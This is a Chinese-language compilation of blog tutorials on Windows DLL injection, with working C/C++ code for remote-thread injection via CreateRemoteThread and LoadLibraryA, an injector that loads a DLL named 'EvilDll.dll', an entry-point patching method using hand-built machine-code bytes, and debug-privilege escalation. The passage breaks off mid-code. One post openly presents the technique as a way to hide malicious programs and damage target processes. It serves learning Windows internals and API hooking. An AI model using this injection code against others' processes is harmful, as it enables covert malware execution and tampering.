DLL注入学习总结_dll注入后可以干嘛-程序员宅基地

技术标签: VC++  DLL  安全编程  DLL注入  

dll注入

所谓DLL 注入就是将一个DLL放进某个进程的地址空间里,让它成为那个进程的一部分。要实现DLL注入,首先需要打开目标进程。
中文名 dll注入 外文名 hRemoteProcess 意    义 将一个DLL放进进程的地址空间里 方    法 打开目标进程
例:
hRemoteProcess = OpenProcess( PROCESS_CREATE_THREAD | //允许远程创建线程
PROCESS_VM_OPERATION | //允许远程VM操[2]  作
PROCESS_VM_WRITE, //允许远程VM写
FALSE, dwRemoteProcessId )
由于我们后面需要写入远程进程的内存地址空间并建立远程线程,所以需要申请足够的权限(PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE)。
如果进程打不开,以后的操作就别想了。进程打开后,就可以建立远线程了,不过别急,先想想这个远线程的线程函数是什么?我们的目的是注入一个DLL。而且我们知道用LoadLibrary可以加载一个DLL到本进程的地址空间。于是,自然会想到如果可以在目标进程中调用LoadLibrary,不就可以把DLL加载到目标进程的地址空间了吗?对!就是这样。远线程就在这儿用了一次,建立的远线程的线程函数就是LoadLibrary,而参数就是要注入的DLL的文件名。(这里需要自己想一想,注意到了吗,线程函数ThreadProc和LoadLibrary函数非常相似,返回值,参数个数都一样) 还有一个问题,LoadLibrary这个函数的地址在哪儿?也许你会说,这个简单,GetProcAddress就可以得出。于是代码就出来了。
char *pszLibFileRemote="my.dll";
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA");
CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL);
但是不对!不要忘了,这是远线程,不是在你的进程里,而pszLibFileRemote指向的是你的进程里的数据,到了目标进程,这个指针都不知道指向哪儿去了,同样pfnStartAddr这个地址上的代码到了目标进程里也不知道是什么了,不知道是不是你想要的LoadLibraryA了。但是,问题总是可以解决的,Windows有些很强大的API函数,他们可以在目标进程里分配内存,可以将你的进程中的数据拷贝到目标进程中。因此pszLibFileRemote的问题可以解决了。
char *pszLibFileName="my.dll";//注意,这个一定要是全路径文件名,除非它在系统目录里;原因大家自己想想。
//计算DLL路径名需要的内存空间
int cb = (1 + lstrlenA(pszLibFileName)) * sizeof(char);
//使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区
pszLibFileRemote = (char *) VirtualAllocEx( hRemoteProcess, NULL, cb, MEM_COMMIT, PAGE_READWRITE);
//使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
iReturnCode = WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) pszLibFileName, cb, NULL);
OK,现在目标进程也认识pszLibFileRemote了,但是pfnStartAddr好像不好办,我怎么可能知道LoadLibraryA在目标进程中的地址呢?其实Windows为我们解决了这个问题,LoadLibraryA这个函数是在Kernel32.dll这个核心DLL里的,而这个DLL很特殊,不管对于哪个进程,Windows总是把它加载到相同的地址上去。因此你的进程中LoadLibraryA的地址和目标进程中LoadLibraryA的地址是相同的(其实,这个DLL里的所有函数都是如此)。至此,DLL注入结束了。
========

Dll注入经典方法完整版

http://pnig0s1992.blog.51cto.com/393390/804484/


Pnig0s1992:算是复习了,最经典的教科书式的Dll注入。
总结一下基本的注入过程,分注入和卸载
注入Dll:
1,OpenProcess获得要注入进程的句柄
2,VirtualAllocEx在远程进程中开辟出一段内存,长度为strlen(dllname)+1;
3,WriteProcessMemory将Dll的名字写入第二步开辟出的内存中。
4,CreateRemoteThread将LoadLibraryA作为线程函数,参数为Dll的名称,创建新线程
5,CloseHandle关闭线程句柄
卸载Dll:
1,CreateRemoteThread将GetModuleHandle注入到远程进程中,参数为被注入的Dll名
2,GetExitCodeThread将线程退出的退出码作为Dll模块的句柄值。
3,CloseHandle关闭线程句柄
3,CreateRemoteThread将FreeLibraryA注入到远程进程中,参数为第二步获得的句柄值。
4,WaitForSingleObject等待对象句柄返回
5,CloseHandle关闭线程及进程句柄。

#include <stdio.h> 
#include <Windows.h> 
#include <TlHelp32.h>  
 
DWORD getProcessHandle(LPCTSTR lpProcessName)//根据进程名查找进程PID 
{ 
    DWORD dwRet = 0; 
    HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); 
    if(hSnapShot == INVALID_HANDLE_VALUE) 
    { 
        printf("\n获得进程快照失败%d",GetLastError()); 
        return dwRet; 
    } 
 
    PROCESSENTRY32 pe32;//声明进程入口对象 
    pe32.dwSize = sizeof(PROCESSENTRY32);//填充进程入口对象大小 
    Process32First(hSnapShot,&pe32);//遍历进程列表 
    do  
    { 
        if(!lstrcmp(pe32.szExeFile,lpProcessName))//查找指定进程名的PID 
        { 
            dwRet = pe32.th32ProcessID; 
            break; 
        } 
    } while (Process32Next(hSnapShot,&pe32)); 
    CloseHandle(hSnapShot); 
    return dwRet;//返回 
} 
 
INT main(INT argc,CHAR * argv[]) 
{ 
    DWORD dwPid = getProcessHandle((LPCTSTR)argv[1]); 
    LPCSTR lpDllName = "EvilDll.dll"; 
    HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwPid); 
    if(hProcess == NULL) 
    { 
        printf("\n获取进程句柄错误%d",GetLastError()); 
        return -1; 
    } 
    DWORD dwSize = strlen(lpDllName)+1;  
    DWORD dwHasWrite; 
    LPVOID lpRemoteBuf = VirtualAllocEx(hProcess,NULL,dwSize,MEM_COMMIT,PAGE_READWRITE); 
    if(WriteProcessMemory(hProcess,lpRemoteBuf,lpDllName,dwSize,&dwHasWrite)) 
    { 
        if(dwHasWrite != dwSize) 
        { 
            VirtualFreeEx(hProcess,lpRemoteBuf,dwSize,MEM_COMMIT); 
            CloseHandle(hProcess); 
            return -1; 
        } 
 
    }else 
    { 
        printf("\n写入远程进程内存空间出错%d。",GetLastError()); 
        CloseHandle(hProcess); 
        return -1; 
    } 
 
    DWORD dwNewThreadId; 
    LPVOID lpLoadDll = LoadLibraryA; 
    HANDLE hNewRemoteThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)lpLoadDll,lpRemoteBuf,0,&dwNewThreadId); 
    if(hNewRemoteThread == NULL) 
    { 
        printf("\n建立远程线程失败%d",GetLastError()); 
        CloseHandle(hProcess); 
        return -1; 
    } 
 
    WaitForSingleObject(hNewRemoteThread,INFINITE); 
    CloseHandle(hNewRemoteThread); 
 
    //准备卸载之前注入的Dll 
    DWORD dwHandle,dwID; 
    LPVOID pFunc = GetModuleHandleA;//获得在远程线程中被注入的Dll的句柄 
    HANDLE hThread = CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)pFunc,lpRemoteBuf,0,&dwID); 
    WaitForSingleObject(hThread,INFINITE); 
    GetExitCodeThread(hThread,&dwHandle);//线程的结束码即为Dll模块儿的句柄 
    CloseHandle(hThread); 
    pFunc = FreeLibrary; 
    hThread = CreateRemoteThread(hThread,NULL,0,(LPTHREAD_START_ROUTINE)pFunc,(LPVOID)dwHandle,0,&dwID); //将FreeLibraryA注入到远程线程中去卸载Dll 
    WaitForSingleObject(hThread,INFINITE); 
    CloseHandle(hThread); 
    CloseHandle(hProcess); 
    return 0; 
}

 
========

DLL注入技术

http://blog.csdn.net/chenyujing1234/article/details/7860629
转载自: http://hi.baidu.com/xwind85/blog/item/ae5332ad04bb7f034a36d662.html

一、DLL注入技术的用途
DLL注入技术的用途是很广泛的,这主要体现在:

1、假如你要操纵的对象涉及的数据不在进程内;

2、你想对目标进程中的函数进行拦截(甚至API函数,嘿嘿,由此编写个拦截timeGettime的过程,变速齿轮不就出来了么?改天我试试),比如对它所属窗口进行子类化。

3、你想编写一些函数用于增强或增加目标进程功能,比如可以给目标进程的某个窗口插入个消息循环增加其响应能力。(Mfc Windows程序设计称之为消息泵)。

4、隐藏自己的程序,很多恶意程序都是这样做的,即使你将恶意程序的进程结束掉也毫无意义了,因为它自己已经插入到很多进程中去了,唯一有效的办法只有注销windows.。如果你是个爱搞破坏的人就更应该掌握该技术了,不但可以利用该技术实现隐藏自己的进程,还可以破坏某个目标进程。因为将破坏代码插入到目标进程进行破坏的话简直易如反掌。不信试试?:(
二、实现DLL注入的另一种方法
1、将DLL注入进程技术在实现Api函数的监视程序中不可缺少的一项工作。其中最常见的就是用SetWindowsHookEx函数实现了。不过,该方法的缺点是被监视的目标进程必须有窗口,这样,SetWindowsHookEx才能将DLL注入目标进程中。而且,目标程序已经运行了,那么,在窗口创建之前的Api函数就不能被Hook了。
2、另外一种方法用Debug方案,就可以实现在程序创建时监视所有的Api了,缺点是必须是目标进程的Debug源,在监视程序终了时,目标进程会无条件终了。最大的缺点就是无法调试注入的DLL。
3、还有其他多种方案也可以实现DLL的注入,在《Windows核心编程》一书中就介绍了8-9种,其中有一种采用CreateProcess的方法,实现起来比较复杂,但没有上面几种方法的局限性。且可以用其他工具(VC等)调试注入的DLL。下面进行介绍。
原理如下:
1). 用CreateProcess(CREATE_SUSPENDED)启动目标进程。
2). 找到目标进程的入口,用ImageHlp中的函数可以实现。
3). 将目标进程入口的代码保存起来。
4). 在目标进程的入口写入LoadLibrary(MyDll)实现Dll的注入。
5). 用ResumeThread运行目标进程。
6). 目标进程就运行了LoadLibrary(MyDll),实现DLL的注入。
7). 目标进程运行完LoadLibrary(MyDll)后,将原来的代码写回目标进程的入口。
8). 目标进程Jmp至原来的入口,继续运行程序。
从原理上可以看出,DLL的注入在目标进程的开始就运行了,而且不是用Debug的方案,这样,就没有上面方案的局限性了。该方案的关键在6,7,8三步,实现方法需要监视进程和DLL合作。下面,结合代码进行分析。
在监视进程中,创建FileMapping,用来保存目标进程的入口代码,同时保证DLL中可以访问。在第7步实现将原目标代码写回目标进程的入口。

// 监视程序和DLL共用的结构体  
#pragma pack (push ,1)  // 保证下面的结构体采用BYTE对齐(必须)  
typedef struct   
{  
    BYTE int_PUSHAD;    // pushad 0x60   
    BYTE int_PUSH;      // push &szDLL 0x68  
    DWORD push_Value;   // &szDLL = "ApiSpy.dll"的path  
    BYTE int_MOVEAX;    // move eax &LoadLibrary 0xB8  
    DWORD eax_Value;    // &LoadLibrary  
    WORD call_eax;      // call eax 0xD0FF(FF D0) (LoadLibrary("ApiSpy.dll");  
    BYTE jmp_MOVEAX;    // move eax &ReplaceOldCode 0xB8   
    DWORD jmp_Value;    // JMP的参数  
    WORD jmp_eax;       // jmp eax 0xE0FF(FF E0) jmp ReplaceOldCode;  
    char szDLL[MAX_PATH]; // "ApiSpy.dll"的FullPath  
}INJECT_LOADLIBRARY_CODE, *LPINJECT_CODE;  
#pragma pack (pop , 1)  

上面结构体的代码为汇编代码,对应的汇编为:
[cpp] view plain copy
pushad  
push szDll  
mov eax, &LoadLibraryA  
call eax                                // 实现调用LoadLibrary(szDll)的代码  
mov eax, oldentry  
jmp eax                                 // 实现在LoadLibrary运行完后, 跳至目标进程的入口继续运行  
// FileMaping的结构体  
typedef struct   
{  
    LPBYTE lpEntryPoint;                // 目标进程的入口地址  
    BYTE oldcode[sizeof(INJECT_CODE)];  // 目标进程的代码保存  
}SPY_MEM_SHARE, * LPSPY_MEM_SHARE;  


准备工作:
第一步:用CreateProcess(CREATE_SUSPENDED)启动目标进程。

[cpp] view plain copy
CreateProcessA(0, szRunFile, 0, 0, FALSE, CREATE_SUSPENDED  
0, NULL, &stInfo,  
&m_proInfo) ;  
用CreateProcess启动一个暂停的目标进程;
找到目标进程的入口点,函数如下
第二步:找到目标进程的入口,用ImageHlp中的函数可以实现。

[cpp] view plain copy
pEntryPoint = GetExeEntryPoint(szRunFile);  
LPBYTE GetExeEntryPoint(char *filename)  
{  
    PIMAGE_NT_HEADERS pNTHeader;  
    DWORD pEntryPoint;  
    PLOADED_IMAGE pImage;  
    pImage = ImageLoad(filename, NULL);  
    if(pImage == NULL)  
        return NULL;  
    pNTHeader = pImage->FileHeader;  
    pEntryPoint = pNTHeader->OptionalHeader.AddressOfEntryPoint + pNTHeader->OptionalHeader.ImageBase;  
    ImageUnload(pImage);  
    return (LPBYTE)pEntryPoint;  
}  

// 创建FileMapping

[cpp] view plain copy
hMap = CreateFileMapping((HANDLE)0xFFFFFFFF, NULL,  
PAGE_READWRITE, 0, sizeof(SPY_MEM_SHARE), “MyDllMapView”);  

// 保存目标进程的代码
第三步:将目标进程入口的代码保存起来。
[cpp] view plain copy
LPSPY_MEM_SHARE lpMap = pMapViewOfFile(hMap, FILE_MAP_ALL_ACCESS,0, 0, 0);  
ReadProcessMemory(m_proInfo.hProcess, pEntryPoint,&lpMap->oldcode, sizeof(INJECT_CODE),&cBytesMoved);  
lpMap->lpEntryPoint = pEntryPoint;  
// 第四步:在目标进程的入口写入LoadLibrary(MyDll)实现Dll的注入。
// 准备注入DLL的代码
[cpp] view plain copy
INJECT_CODE newCode;  
// 写入MyDll―――用全路径  
lstrcpy(newCode.szDLL, szMyDll);  
// 准备硬代码(汇编代码)  
newCode.int_PUSHAD = 0x60;   
newCode.int_PUSH = 0x68;  
newCode.int_MOVEAX = 0xB8;  
newCode.call_eax = 0xD0FF;  
newCode.jmp_MOVEAX = 0xB8;  
newCode.jmp_eax = 0xE0FF;  
newCode.eax_Value = (DWORD)&LoadLibrary;  
newCode.push_Value=(pEntryPoint + offsetof(INJECT_CODE,szDLL));  
// 将硬代码写入目标进程的入口  
// 修改内存属性  
DWORD dwNewFlg, dwOldFlg;  
dwNewFlg = PAGE_READWRITE;  
VirtualProtectEx(m_proInfo.hProcess, (LPVOID)pEntryPoint, sizeof(DWORD), dwNewFlg, &dwOldFlg);  
WriteProcessMemory(m_proInfo.hProcess, pEntryPoint,&newCode, sizeof(newCode), NULL);//&dwWrited);  
VirtualProtectEx(proInfo.hProcess, (LPVOID)pEntryPoint, sizeof(DWORD), dwOldFlg, &dwNewFlg);  
// 释放FileMaping 注意,不是Closehandle(hMap)  
UnmapViewOfFile(lpMap);  


// 继续目标进程的运行
第五步:用ResumeThread运行目标进程。


[cpp] view plain copy
ResumeThread(m_proInfo.hThread);  
在监视进程中就结束了自己的任务,剩下的第6,7,8步就需要在Dll的DllMain中进行配合。
DLL中用来保存数据的结构体
[cpp] view plain copy
typedef struct  
{  
    DWORD lpEntryPoint;  
    DWORD OldAddr;  
    DWORD OldCode[4];     
}JMP_CODE,* LPJMP_CODE;  
static JMP_CODE _lpCode;  


// 在DllMain的DLL_PROCESS_ATTACH中调用InitApiSpy函数
// 在该函数中实现第6,7,8步
第六步:目标进程就运行了LoadLibrary(MyDll),实现DLL的注入。
[cpp] view plain copy
int WINAPI DllMain(HINSTANCE hInst, DWORD dwReason, LPVOID lpReserved)  
{  
switch(dwReason)  
{  
case DLL_PROCESS_ATTACH:  
    return InitApiSpy();  
    ……  


// InitApiSpy函数的实现
[cpp] view plain copy
BOOL WINAPI InitApiSpy()  
{  
    HANDLE hMap;  
    LPSPY_MEM_SHARE lpMem;  
    DWORD dwSize;  
    BOOL rc;  
    BYTE* lpByte;  
    // 取得FileMapping的句柄  
    hMap = OpenFileMapping(FILE_MAP_ALL_ACCESS, 0, “MyDllMapView”);  
    if(hMap)  
    {  
        lpMem = (LPSPY_MEM_SHARE)MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0, 0, 0);  
        if(lpMem)  
        {  


第七步:目标进程运行完LoadLibrary(MyDll)后,将原来的代码写回目标进程的入口。
[cpp] view plain copy
BOOL WINAPI InitApiSpy()  
{  
    HANDLE hMap;  
    LPSPY_MEM_SHARE lpMem;  
    DWORD dwSize;  
    BOOL rc;  
    BYTE* lpByte;  
    // 取得FileMapping的句柄  
    hMap = OpenFileMapping(FILE_MAP_ALL_ACCESS, 0, “MyDllMapView”);  
    if(hMap)  
    {  
        lpMem = (LPSPY_MEM_SHARE)MapViewOfFile(hMap,FILE_MAP_ALL_ACCESS,0, 0, 0);  
        if(lpMem)  
        {  
  
            // 恢复目标进程的入口代码  
            // 得到mov eax, value代码的地址  
            _lpCode.OldAddr = (DWORD)((BYTE*)lpMem->lpEntryPoint + offsetof(INJECT_CODE, jmp_MOVEAX));  
            _lpCode.lpEntryPoint = (DWORD)lpMem->lpEntryPoint;  
            // 保存LoadLibrary()后面的代码  
            memcpy(&_lpCode.OldCode, (BYTE*)lpMem->oldcode + offsetof(INJECT_CODE, jmp_MOVEAX), 2*sizeof(DWORD));  
            // 恢复目标进程的入口代码  
            rc = WriteProcessMemory(GetCurrentProcess(), lpMem->lpEntryPoint, lpMem->oldcode, sizeof(INJECT_CODE), &dwSize);  
            lpByte = (BYTE*)lpMem->lpEntryPoint + offsetof(INJECT_CODE, jmp_MOVEAX);  
            UnmapViewOfFile(lpMem);  
        }  
        CloseHandle(hMap);  
    }  
    // 实现自己Dll的其他功能,如导入表的替换  
    // ……  
    // 将LoadLibrary后面的代码写为转入处理程序中  
    // 指令为:mov eax, objAddress  
    // jmp eax  
    {  
        BYTE* lpMovEax;  
        DWORD* lpMovEaxValu;  
        WORD* lpJmp;  
        DWORD fNew, fOld;  
        fNew = PAGE_READWRITE;  
        lpMovEax = lpByte;  
        VirtualProtect(lpMovEax, 2*sizeof(DWORD), fNew, &fOld);  
        *lpMovEax = 0xB8;  
        lpMovEaxValu = (DWORD*)(lpMovEax + 1);  
        *lpMovEaxValu = (DWORD)&DoJmpEntryPoint;  
        lpJmp = (WORD*)(lpMovEax + 5);  
        *lpJmp = 0xE0FF; // (FF E0)  
        VirtualProtect(lpMovEax, 2*sizeof(DWORD), fOld, &fNew);  
    }  
    return TRUE;  
}  


[cpp] view plain copy
// 转入处理程序  
DWORD* lpMovEax;  
DWORD fNew, fOld;  
void __declspec(naked) DoJmpEntryPoint ()  
{  
    // 恢复LoadLibrary后面的代码  
    _gfNew = PAGE_READWRITE;  
    _glpMovEax = (DWORD*)_lpCode.OldAddr;  
    VirtualProtect(_glpMovEax, 2*sizeof(DWORD), _gfNew, &_gfOld);  
    *_glpMovEax = _lpCode.OldCode[0];  
    *(_glpMovEax + 1) = _lpCode.OldCode[1];  
    VirtualProtect(_glpMovEax, 2*sizeof(DWORD), _gfOld, &_gfNew);  
//第八步:目标进程Jmp至原来的入口,继续运行程序。  
// 跳至目标代码的入口  
_asm popad  
_asm jmp _lpCode.lpEntryPoint  
}  


第八步:目标进程Jmp至原来的入口,继续运行程序。
[cpp] view plain copy
// 跳至目标代码的入口  
_asm popad  
_asm jmp _lpCode.lpEntryPoint  
}  


这样就实现了原来的目标,将DLL的注入放在目标进程的入口运行,实现了目标进程运行之前运行我们的注入Dll的功能。
========

Windows核心编程学习笔记远程注入DLL

http://blog.chinaunix.net/uid-26275986-id-3141902.html


远程注入DLL
一、概述
为了隐藏自身的进程信息,我们希望将进程作为一个合法进程的线程运行。由于系统进程间不允许直接操作资源,因而我们需要在合法进程内部创建一个线程,为其指定要执行的代码。一种简单的方式是令远程线程载入一个我们编写的DLL,通过DllMain()函数执行我们需要的代码。基本思路是将LoadLibrary()函数作为一个线程函数来调用:
CreateRemoteThread()---->LoadLibrary()---->DllMain()
这里的核心函数是CreateRemoteThread(),它用来在远程进程中创建一新线程。我们来看一下这个函数:
HANDLE WINAPI CreateRemoteThread(
    HANDLE hProcess, //要创建远程线程的进程句柄
    LPSECURITY_ATTRIBUTES lpThreadAttributes, //用于定义新线程的安全属性,这里设为NULL采用默认值即可
    SIZE_T dwStackSize,  //初始化线程堆栈大小,NULL为默认大小
    LPTHREAD_START_ROUTINE lpStartAddress, //线程函数开始的地址
    LPVOID lpParameter,  //线程函数参数
    DWORD dwCreationFlags,  //函数表示创建线程后线程的运行状态
    LPDWORD lpThreadId  //返回线程ID,不关心可以设为NULL不返回
);
使用这个函数关键要解决三个参数问题:
l  获得远程线程的进程句柄,而且要确保相应权限
l  获取远程进程中线程函数的开始地址,而非本地地址
l  向远程线程成功传入DLL路径字符串
解决了这三个问题,我们的远程注入DLL就基本完成了。接下来,这篇笔记的组织结构如下:
F  获取远程进程句柄
l  枚举系统进程
l  提升进程权限
F  获取LoadLibrary()函数在远程进程中的地址
F  向远程线程中写入DLL路径字符串
l  利用VirtualAllocEx()分配远程地址空间
l  利用WriteProcessMemory()写入远程地址空间
F  程序源码
F  运行测试 


二、获取远程进程句柄
我们主要利用OpenProcess()函数来获得要注入的进程的句柄,句柄是系统中可以起到唯一标识作用的一个对象。我们来看一下OpenProcess()函数:
HANDLE WINAPI OpenProcess(
    DWORD dwDesiredAccess,  //获取的句柄的访问权限
    BOOL bInheritHandle,    //是否可为新进程继承
    DWORD dwProcessId       //要获取句柄的进程ID
);
句柄的访问权限是指我们要使用该进程的句柄做哪些访问操作,对于远程注入DLL来说,主要有:
PROCESS_CREATE_THREAD |  //For CreateRemoteThread()
PROCESS_VM_OPERATION |  //For VirtualAllocEx()/VirtualFreeEx()
PROCESS_VM_WRITE       //For WriteProcessMemory(0
当然,我们也可以直接设为最高权限:PROCESS_ALL_ACCESS。
第二个参数说明了是否可为新进程继承,第三个参数需要借助我们编写的子函数ListProcess()来获得。另外需要注意的是,对于很多系统和服务进程而言,获取其带有写权限的句柄需要主调进程拥有调试权限,我们利用子函数EnableDebugPriv()来提升权限。这样在XP下就足够了,在VISTA之后的系统中需要进一步提升另一个隐藏权限,这里只讨论在XP上的情况。
l  ListProcess()
我们使用ToolHelpAPI获取当前运行程序的信息,从而编写适合自己需要的工具(@MSDN)。它支持的平台比较广泛,可以在 Windows CE 下使用。在 Windows Mobile SDK 的 Samples 里面有一个 PViewCE 的样例程序,就是用这个来查看进程和线程信息的。
使用方法就是先用 CreateToolhelp32Snapshot 将当前系统的进程、线程、DLL、堆的信息保存到一个缓冲区,这就是一个系统快照。如果你只是对进程信息感兴趣,那么只要包含 TH32CS_SNAPPROCESS 标志即可。 常见标志如下:
TH32CS_SNAPHEAPLIST:列举th32ProcessID指定进程中的堆
TH32CS_SNAPMODULE:列举th32ProcessID指定进程中的模块
TH32CS_SNAPPROCESS:列举系统范围内的所有进程
TH32CS_SNAPTHREAD:列举系统范围内的所有线程
函数执行成功返回快照句柄,否则返回INVALID_HANDLE_VALUE。
得到系统快照句柄后,我们调用Process32First和Process32Next来依次获取系统中每个进程的信息,将信息存入PROCESSENTRY32结构体中,该结构体中存放着进程的主要信息,如
DWORD  th32ProcessID;  //进程ID
DWORD  th32ModuleID;  //进程模块ID
CHAR   szExeFile[MAX_PATH];  //进程的可执行文件名
这两个函数当枚举到进程时返回TRUE,否则返回FALSE。
然后调用一次 Process32First 函数,从快照中获取第一个进程,然后重复调用 Process32Next,直到函数返回 FALSE 为止,这样将遍历快照中进程列表。这两个函数都带两个参数,它们分别是快照句柄和一个 PROCESSENTRY32 结构。调用完 Process32First 或 Process32Next 之后,PROCESSENTRY32 中将包含系统中某个进程的关键信息。其中进程 ID 就存储在此结构的 th32ProcessID。此 ID 传给 OpenProcess API 可以获得该进程的句柄。对应的可执行文件名及其存放路径存放在 szExeFile 结构成员中。在该结构中还可以找到其它一些有用的信息。
需要注意的是:在调用 Process32First() 之前,要将 PROCESSENTRY32 结构的 dwSize 成员设置成 sizeof(PROCESSENTRY32)。 然后再用 Process32First、Process32Next 来枚举进程。使用结束后要调用 CloseHandle 来释放保存的系统快照。具体程序代码如下:
//利用ToolHelp32库来枚举当前系统进程
#include
#include
#include
#include
 
int ListProcess()
{
    //获取系统快照
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //不要写错CreateToolhelp32Snapshot()
    if (hProcessSnap == INVALID_HANDLE_VALUE)
    {
       printf("CreateToolHelp32Snapshot error!\n");
       return -1;
    }
 
    //创建单个进程快照结构体,初始化大小
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);  //务必提前初始化,否则默认的大小不一定满足要求
 
    //初始化缓冲区
    WCHAR buff[1024] = {0}; //PROCESSENTRY32中的szExeFile为WCHAR类型数组,此处应一致,使用Unicode码
 
    //枚举系统快照链表中的第一个进程项目
    BOOL bProcess = Process32First(hProcessSnap, &pe32);
    while (bProcess)
    {
 
       //格式化进程名和进程ID,这里要使用printf的宽字符版
       //格式字符串“”都需要用L转换为宽字符形式
       wsprintf(buff, L"FileName:%-30sID:%-6d\r\n", pe32.szExeFile, pe32.th32ProcessID);
       wprintf(L"%s\n",buff);
       //缓冲区复位
       memset(buff, 0, sizeof(buff));
       //继续枚举下一个进程
       bProcess = Process32Next(hProcessSnap, &pe32);
    }
 
    CloseHandle(hProcessSnap);
    return 0;
}
l  EnableDebugPriv()
提升权限主要利用下面四个函数:
GetCurrentProcessID()        //得到当前进程的ID  
OpenProcessToken()          //得到进程的令牌句柄
LookupPrivilegeValue()       //查询进程的权限
AdjustTokenPrivileges()        //调整令牌权限 
进程的权限设置存储在令牌句柄中,我们需要先获取进程的令牌句柄,其次获取进程中权限类型的LUID值,利用此值来设置进程新的权限,具体函数调用顺序如下:
OpenProcessToken()---->LookupPrivilegeValue()---->AdjustTokenPrivileges()
具体代码如下:
#include
#include
 
int EnableDebugPriv(const WCHAR *name)
{
    HANDLE hToken;   //进程令牌句柄
    TOKEN_PRIVILEGES tp;  //TOKEN_PRIVILEGES结构体,其中包含一个【类型+操作】的权限数组
    LUID luid;       //上述结构体中的类型值
 
    //打开进程令牌环
    //GetCurrentProcess()获取当前进程的伪句柄,只会指向当前进程或者线程句柄,随时变化
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken))
    {
       printf("OpenProcessToken error\n");
       return -8;
    }
 
    //获得本地进程name所代表的权限类型的局部唯一ID
    if (!LookupPrivilegeValue(NULL, name, &luid))
    {
       printf("LookupPrivilegeValue error\n");
    }
 
    tp.PrivilegeCount = 1;    //权限数组中只有一个“元素”
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  //权限操作
    tp.Privileges[0].Luid = luid;   //权限类型
 
    //调整进程权限
    if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
    {
       printf("AdjustTokenPrivileges error!\n");
       return -9;
    }
 
    return 0;
}
 
三、获取LoadLibrary()的远程地址
对于Windows系统而言,本地进程和远程进程中的Kernel32.dll被映射到地址空间的同一内存地址,因而只要获取本地进程中LoadLibrary()的地址,在远程进程中也同样是这个地址,可以直接传给CreateRemoteThread():
LPTHREAD_START_ROUTINE pLoadLibrary
=
(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "LoadLibraryA");
GetProcAddress函数检索指定的动态链接库(DLL)中的输出库函数地址。
函数原型:
  FARPROC GetProcAddress(
  HMODULE hModule, // DLL模块句柄
  LPCSTR lpProcName // 函数名,以NULL结尾的字符串
);
返回值:
  如果函数调用成功,返回值是DLL中的输出函数地址。
  如果函数调用失败,返回值是NULL。得到进一步的错误信息,调用函数GetLastError。
 
四、向远程进程中写入DLL路径字符串
l  VirtualAllocEx()
如果直接向CreateRemoteThread()传入DLL路径,如”C:\\Windows\\System32\\MyDLL.dll”那么实际向远程线程传递的是一个本地的指针值,这个值在远程进程的地址空间中是没有意义的。所以我们需要使用VirtualAllocEx()函数在远程进程中先分配一段空间,用于直接写入我们的DLL路径。
函数原形:
  LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD flAllocationType,
  DWORD flProtect
  );
  hProcess:
  申请内存所在的进程句柄。
  lpAddress:
  保留页面的内存地址;一般用NULL自动分配 。
  dwSize:
欲分配的内存大小,字节单位;注意实际分 配的内存大小是页内存大小的整数倍。
我们这里的实际代码为:
//在远程进程中分配内存,准备拷入DLL路径字符串
//取得当前DLL路径
char DllPath[260]; //Windows路径最大为
GetCurrentDirectoryA(260, DllPath);  //获取当前进程执行目录
printf("Proces***e Directory is %s\n", DllPath); 
strcat(DllPath, "\\..\\Debug\\MyDLL.dll"); //链接到DLL路径
LPVOID pRemoteDllPath = VirtualAllocEx(hRemoteProcess, NULL, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);
if (pRemoteDllPath == NULL)
{
    printf("VirtualAllocEx error\n");
    return -3;
}
l  WriteProcessMemory()
我们利用该函数直接向远程进程中分配好的空间中写入DLL路径字符串
BOOL WriteProcessMemory(
    HANDLE hProcess,      // 进程的句柄,是用OpenProcess打开的
    LPVOID lpBaseAddress, // 要写入的起始地址
    LPVOID lpBuffer,      // 写入的缓存区
    DWORD nSize, // 要写入缓存区的大小
    LPDWORD lpNumberOfBytesWritten          // 这个是返回实际写入的字节。
   );
我们这里的实际代码为:
//向远程进程空间中写入DLL路径字符串
printf("DllPath is %s\n", DllPath);
DWORD Size;
if (WriteProcessMemory(hRemoteProcess, pRemoteDllPath, DllPath, strlen(DllPath) +1, &Size) == NULL)
    {
       printf("WriteProcessMemory error\n");
       return -4;
    }
printf("WriteRrmoyrProcess Size is %d\n\n", Size);
 
五、程序源码
F  DLL源码:
#include
#include
#include
 
BOOL APIENTRY DllMain(HINSTANCE hInstDll, DWORD fdwReason, PVOID fImpLoad)
{
    switch (fdwReason)
    {
       case DLL_PROCESS_ATTACH :
    {
       //The DLL is being mapped into the process's address space.
       //DWORD ThreadId;
       //CreateThread(NULL, NULL, MessageThread, NULL, NULL, &ThreadId);
       MessageBox(NULL, L"DLL has been mapped!", L"1st RemoteThread", MB_OK);
       //打开文件,定义文件指针,指定打开方式为写+追加
       FILE *fp = fopen("C:\\test.txt", "w");     //打开方式参数为字符串
       //文件读写函数:
       //读写字符:getc(), putc(); 读写字符串:fgets(), fputs()
       //向标准输入输出读入写出:
       //getchar(), putchar();  gets(0, puts(0;
        fputs("一个DLL测试文本\n", fp);
        //printf("Test finished\n");
       //关闭文件指针,释放内存
